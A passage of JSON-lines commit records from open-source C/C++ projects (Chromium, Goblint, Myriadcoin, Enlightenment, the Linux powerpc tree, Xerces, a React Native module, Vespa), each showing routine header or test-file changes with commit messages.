SpeechRecognitionHypothesisArray;\n\nstruct CONTENT_EXPORT SpeechRecognitionResult {\n  SpeechRecognitionHypothesisArray hypotheses;\n  bool provisional;\n\n  SpeechRecognitionResult();\n  ~SpeechRecognitionResult();\n};\n\n}  \/\/ namespace content\n\n#endif  \/\/ CONTENT_PUBLIC_COMMON_SPEECH_RECOGNITION_RESULT_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_COMMON_SPEECH_RECOGNITION_RESULT_H_\n#define CONTENT_PUBLIC_COMMON_SPEECH_RECOGNITION_RESULT_H_\n#pragma once\n\n#include <vector>\n\n#include \"base\/basictypes.h\"\n#include \"base\/string16.h\"\n#include \"content\/common\/content_export.h\"\n\nnamespace content {\n\nstruct SpeechRecognitionHypothesis {\n  string16 utterance;\n  double confidence;\n\n  SpeechRecognitionHypothesis() : confidence(0.0) {}\n\n  SpeechRecognitionHypothesis(const string16& utterance_value,\n                              double confidence_value)\n      : utterance(utterance_value),\n        confidence(confidence_value) {\n  }\n};\n\ntypedef std::vector<SpeechRecognitionHypothesis>\n    SpeechRecognitionHypothesisArray;\n\nstruct CONTENT_EXPORT SpeechRecognitionResult {\n  SpeechRecognitionHypothesisArray hypotheses;\n  bool provisional;\n\n  SpeechRecognitionResult();\n  ~SpeechRecognitionResult();\n};\n\n}  \/\/ namespace content\n\n#endif  \/\/ CONTENT_PUBLIC_COMMON_SPEECH_RECOGNITION_RESULT_H_\n","subject":"Fix pass by value error in SpeechRecognitionHypothesis constructor.","message":"Coverity: Fix pass by value error in SpeechRecognitionHypothesis constructor.\n\nCID=103455\nBUG=none\nTEST=none\n\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/10386130\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@137171 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ltilve\/chromium,dushu1203\/chromium.src,M4sse\/chromium.src,timopulkkinen\/BubbleFish,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,littlstar\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,dednal\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,ondra-novak\/chromium.src,keishi\/chromium,dednal\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,dushu1203\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,axinging\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,hujiajie\/pa-chromium,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,jaruba\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,anirudhSK\/chromium,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,jaruba\/chromium.src,timopulkkinen\/BubbleFish,littlstar\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,ondra-novak\/chromium.src,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,Jonekee\/chromium.src,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,Chilledheart\/chromium,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,dednal\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,jaruba\/chromium.src,keishi\/chromium,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,keishi\/chromium,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,dushu1203\/chromium.src,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,keishi\/chromium,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,ltilve\/chromium,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,keishi\/chromium,anirudhSK\/chromium,M4sse\/chromium.src,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,dushu1203\/chromium.src,Chilledheart\/chromium,M4sse\/chromium.src,ltilve\/chromium,anirudhSK\/chromium,Jonekee\/chromium.src,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,M4sse\/chromium.src,chuan9\/chromium-crosswalk,dednal\/chromium.src,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,Chilledheart\/chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,Chilledheart\/chromium,Just-D\/chromium-1,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,keishi\/chromium,ltilve\/chromium,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,keishi\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,markYoungH\/chromium.src,markYoungH\/chromium.src,dednal\/chromium.src,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,dednal\/chromium.src,jaruba\/chromium.src"}
{"commit":"5e144291631d6d7e49b88407fc895cb6d4ec307b","old_file":"tests\/regression\/09-regions\/39-escape_malloc.c","new_file":"tests\/regression\/09-regions\/39-escape_malloc.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] region\n\/\/ Copy of 04\/34 with a malloc'ed variable (works without region).\n#include <pthread.h>\n#include <stdlib.h>\n\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int *p = (int *) arg;\n  pthread_mutex_lock(&mutex1);\n  (*p)++; \/\/ TODO RACE!\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  int *q = (int*) malloc(sizeof(int));\n  pthread_create(&id, NULL, t_fun, (void *) q);\n  pthread_mutex_lock(&mutex2);\n  (*q)++; \/\/ TODO RACE!\n  pthread_mutex_unlock(&mutex2);\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Add testcase for the underlying region unsoundness in 38-pool.","message":"Add testcase for the underlying region unsoundness in 38-pool.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"1341d104f298cc8bdf5ffae3f0d4199adf22e0a1","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    99\n#define CLIENT_VERSION_BUILD       8\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    99\n#define CLIENT_VERSION_BUILD       9\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Build number for OpenSSL bug fix","message":"Build number for OpenSSL bug fix\n","lang":"C","license":"mit","repos":"myriadteam\/myriadcoin,myriadcoin\/myriadcoin,argentumproject\/argentum,argentumproject\/argentum,myriadteam\/myriadcoin,argentumproject\/argentum,myriadteam\/myriadcoin,myriadcoin\/myriadcoin,myriadcoin\/myriadcoin,argentumproject\/argentum,myriadcoin\/myriadcoin,Richcoin-Project\/RichCoin,Richcoin-Project\/RichCoin,myriadcoin\/myriadcoin,argentumproject\/argentum,myriadteam\/myriadcoin,myriadteam\/myriadcoin,argentumproject\/argentum,myriadteam\/myriadcoin,Richcoin-Project\/RichCoin,Richcoin-Project\/RichCoin,myriadcoin\/myriadcoin,Richcoin-Project\/RichCoin,argentumproject\/argentum"}
{"commit":"3f9d1548236269530e441c996a6debbd88ec6cfd","old_file":"src\/modules\/cpufreq\/e_mod_main.h","new_file":"src\/modules\/cpufreq\/e_mod_main.h","old_contents":"#ifndef E_MOD_MAIN_H\n#define E_MOD_MAIN_H\n\ntypedef struct _Status       Status;\ntypedef struct _Config       Config;\n\nstruct _Status\n{\n   Evas_List     *frequencies;\n   Evas_List     *governors;\n   int            cur_frequency;\n   int            can_set_frequency;\n   char          *cur_governor;\n   unsigned char  active;\n};\n\nstruct _Config\n{\n   \/* saved * loaded config values *\/\n   double       poll_time;\n   int          restore_governor;\n   const char  *governor;\n   \/* just config state *\/\n   E_Module    *module;\n   Evas_List   *instances;\n   E_Menu      *menu;\n   E_Menu      *menu_poll;\n   E_Menu      *menu_governor;\n   E_Menu      *menu_frequency;\n   Status      *status;\n   char        *set_exe_path;\n   Ecore_Timer *frequency_check_timer;\n};\n\nEAPI extern E_Module_Api e_modapi;\n\nEAPI void *e_modapi_init     (E_Module *m);\nEAPI int   e_modapi_shutdown (E_Module *m);\nEAPI int   e_modapi_save     (E_Module *m);\nEAPI int   e_modapi_about    (E_Module *m);\n\n#endif\n","new_contents":"#ifndef E_MOD_MAIN_H\n#define E_MOD_MAIN_H\n\ntypedef struct _Status       Status;\ntypedef struct _Config       Config;\n\nstruct _Status\n{\n   Evas_List     *frequencies;\n   Evas_List     *governors;\n   int            cur_frequency;\n   int            can_set_frequency;\n   char          *cur_governor;\n   unsigned char  active;\n};\n\nstruct _Config\n{\n   \/* saved * loaded config values *\/\n   double       poll_time;\n   int          restore_governor;\n   const char  *governor;\n   \/* just config state *\/\n   E_Module    *module;\n   Evas_List   *instances;\n   E_Menu      *menu;\n   E_Menu      *menu_poll;\n   E_Menu      *menu_governor;\n   E_Menu      *menu_frequency;\n   Status      *status;\n   char        *set_exe_path;\n   Ecore_Timer *frequency_check_timer;\n};\n\nEAPI extern E_Module_Api e_modapi;\n\nEAPI void *e_modapi_init     (E_Module *m);\nEAPI int   e_modapi_shutdown (E_Module *m);\nEAPI int   e_modapi_save     (E_Module *m);\n\n#endif\n","subject":"Remove unused (and deprecated) declaration.","message":"Remove unused (and deprecated) declaration.\n\n\nSVN revision: 32298\n","lang":"C","license":"bsd-2-clause","repos":"FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment"}
{"commit":"5b72d74ce2fccca2a301de60f31b16ddf5c93984","old_file":"arch\/powerpc\/platforms\/pseries\/offline_states.h","new_file":"arch\/powerpc\/platforms\/pseries\/offline_states.h","old_contents":"#ifndef _OFFLINE_STATES_H_\n#define _OFFLINE_STATES_H_\n\n\/* Cpu offline states go here *\/\nenum cpu_state_vals {\n\tCPU_STATE_OFFLINE,\n\tCPU_STATE_INACTIVE,\n\tCPU_STATE_ONLINE,\n\tCPU_MAX_OFFLINE_STATES\n};\n\nextern enum cpu_state_vals get_cpu_current_state(int cpu);\nextern void set_cpu_current_state(int cpu, enum cpu_state_vals state);\nextern enum cpu_state_vals get_preferred_offline_state(int cpu);\nextern void set_preferred_offline_state(int cpu, enum cpu_state_vals state);\nextern void set_default_offline_state(int cpu);\nextern int start_secondary(void);\n#endif\n","new_contents":"#ifndef _OFFLINE_STATES_H_\n#define _OFFLINE_STATES_H_\n\n\/* Cpu offline states go here *\/\nenum cpu_state_vals {\n\tCPU_STATE_OFFLINE,\n\tCPU_STATE_INACTIVE,\n\tCPU_STATE_ONLINE,\n\tCPU_MAX_OFFLINE_STATES\n};\n\n#ifdef CONFIG_HOTPLUG_CPU\nextern enum cpu_state_vals get_cpu_current_state(int cpu);\nextern void set_cpu_current_state(int cpu, enum cpu_state_vals state);\nextern void set_preferred_offline_state(int cpu, enum cpu_state_vals state);\nextern void set_default_offline_state(int cpu);\n#else\nstatic inline enum cpu_state_vals get_cpu_current_state(int cpu)\n{\n\treturn CPU_STATE_ONLINE;\n}\n\nstatic inline void set_cpu_current_state(int cpu, enum cpu_state_vals state)\n{\n}\n\nstatic inline void set_preferred_offline_state(int cpu, enum cpu_state_vals state)\n{\n}\n\nstatic inline void set_default_offline_state(int cpu)\n{\n}\n#endif\n\nextern enum cpu_state_vals get_preferred_offline_state(int cpu);\nextern int start_secondary(void);\n#endif\n","subject":"Fix SMP build with disabled CPU hotplugging.","message":"powerpc: Fix SMP build with disabled CPU hotplugging.\n\nCompiling 2.6.33 with SMP enabled and HOTPLUG_CPU disabled gives me the\nfollowing link errors:\n\n  LD      init\/built-in.o\n  LD      .tmp_vmlinux1\narch\/powerpc\/platforms\/built-in.o: In function `.smp_xics_setup_cpu':\nsmp.c:(.devinit.text+0x88): undefined reference to `.set_cpu_current_state'\nsmp.c:(.devinit.text+0x94): undefined reference to `.set_default_offline_state'\narch\/powerpc\/platforms\/built-in.o: In function `.smp_pSeries_kick_cpu':\nsmp.c:(.devinit.text+0x13c): undefined reference to `.set_preferred_offline_state'\nsmp.c:(.devinit.text+0x148): undefined reference to `.get_cpu_current_state'\nsmp.c:(.devinit.text+0x1a8): undefined reference to `.get_cpu_current_state'\nmake: *** [.tmp_vmlinux1] Error 1\n\nThe following change fixes that for me and seems to work as expected.\n\nSigned-off-by: Adam Lackorzynski <0e18f44c1fec03ec4083422cb58ba6a09ac4fb2a@os.inf.tu-dresden.de>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"d2b0573ba9a0edc53bd7800f8acd6718fd59f2a4","old_file":"Projects\/MacOS\/ProjectBuilder\/XercesSamples\/xerces_sample_prefix.h","new_file":"Projects\/MacOS\/ProjectBuilder\/XercesSamples\/xerces_sample_prefix.h","old_contents":"","new_contents":"\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 2001-2002 The Apache Software Foundation.  All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:\n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written\n *    permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 2001, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Id$\n *\/\n\n\/\/\tObjective C only\n#if __OBJC__\n#endif\n\n\/\/\tC++ only\n#if defined(__cplusplus)\n#include <algorithm>\n#include <cstring>\n#include <cstdlib>\n#include <cctype>\n#include <cstdio>\n#include <memory>\n#endif\n\n\/\/\tStandard C headers\n#include <stddef.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdlib.h>\n\n\/\/\tCarbon Headers\n#include <Carbon\/Carbon.h>\n#include <CoreFoundation\/CoreFoundation.h>\n","subject":"Add prefix file for ProjectBuilder samples","message":"Add prefix file for ProjectBuilder samples\n\n\ngit-svn-id: 3ec853389310512053d525963cab269c063bb453@174526 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"Distrotech\/xerces-c,colorer\/xerces-c,ctapmex\/xerces-c,ctapmex\/xerces-c,colorer\/xerces-c,Distrotech\/xerces-c,Distrotech\/xerces-c,Distrotech\/xerces-c,ctapmex\/xerces-c,colorer\/xerces-c,ctapmex\/xerces-c,Distrotech\/xerces-c,colorer\/xerces-c,colorer\/xerces-c"}
{"commit":"c4c76088f08a7539a5f4466ec4fe7f85a9a5bc6f","old_file":"ios\/RCTSpotlightSearch\/RCTSpotlightSearch\/RCTSpotlightSearch.h","new_file":"ios\/RCTSpotlightSearch\/RCTSpotlightSearch\/RCTSpotlightSearch.h","old_contents":"\/\/\n\/\/  RCTSpotlightSearch.h\n\/\/  RCTSpotlightSearch\n\/\/\n\/\/  Created by James (Home) on 21\/06\/2016.\n\/\/  Copyright © 2016 James Munro. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"RCTBridgeModule.h\"\n\n@interface RCTSpotlightSearch : NSObject <RCTBridgeModule>\n\n+ (void)handleContinueUserActivity:(NSUserActivity *)userActivity;\n\n@end\n","new_contents":"\/\/\n\/\/  RCTSpotlightSearch.h\n\/\/  RCTSpotlightSearch\n\/\/\n\/\/  Created by James (Home) on 21\/06\/2016.\n\/\/  Copyright © 2016 James Munro. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <React\/RCTBridgeModule.h>\n\n@interface RCTSpotlightSearch : NSObject <RCTBridgeModule>\n\n+ (void)handleContinueUserActivity:(NSUserActivity *)userActivity;\n\n@end\n","subject":"Fix import React\/RCTBridgeModule.h, needed by RN 0.50","message":"Fix import React\/RCTBridgeModule.h, needed by RN 0.50\n","lang":"C","license":"mit","repos":"jdmunro\/react-native-spotlight-search,jdmunro\/react-native-spotlight-search,jdmunro\/react-native-spotlight-search,jdmunro\/react-native-spotlight-search,jdmunro\/react-native-spotlight-search,jdmunro\/react-native-spotlight-search"}
{"commit":"85d1e066e03030de91558746864dfd84ecd2f1bc","old_file":"searchlib\/src\/vespa\/searchlib\/test\/vector_buffer_writer.h","new_file":"searchlib\/src\/vespa\/searchlib\/test\/vector_buffer_writer.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/searchlib\/util\/bufferwriter.h>\n#include <vector>\n\nnamespace search::test\n{\n\nclass VectorBufferWriter : public BufferWriter {\nprivate:\n    char tmp[1024];\npublic:\n    std::vector<char> output;\n    VectorBufferWriter();\n    ~VectorBufferWriter();\n    void flush() override;\n};\n\n}\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/searchlib\/util\/bufferwriter.h>\n#include <vector>\n\nnamespace search::test\n{\n\nclass VectorBufferWriter : public BufferWriter {\nprivate:\n    char tmp[1024];\npublic:\n    std::vector<char> output;\n    VectorBufferWriter();\n    ~VectorBufferWriter() override;\n    void flush() override;\n};\n\n}\n","subject":"Add override specifier for VectorBufferWriter destructor.","message":"Add override specifier for VectorBufferWriter destructor.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
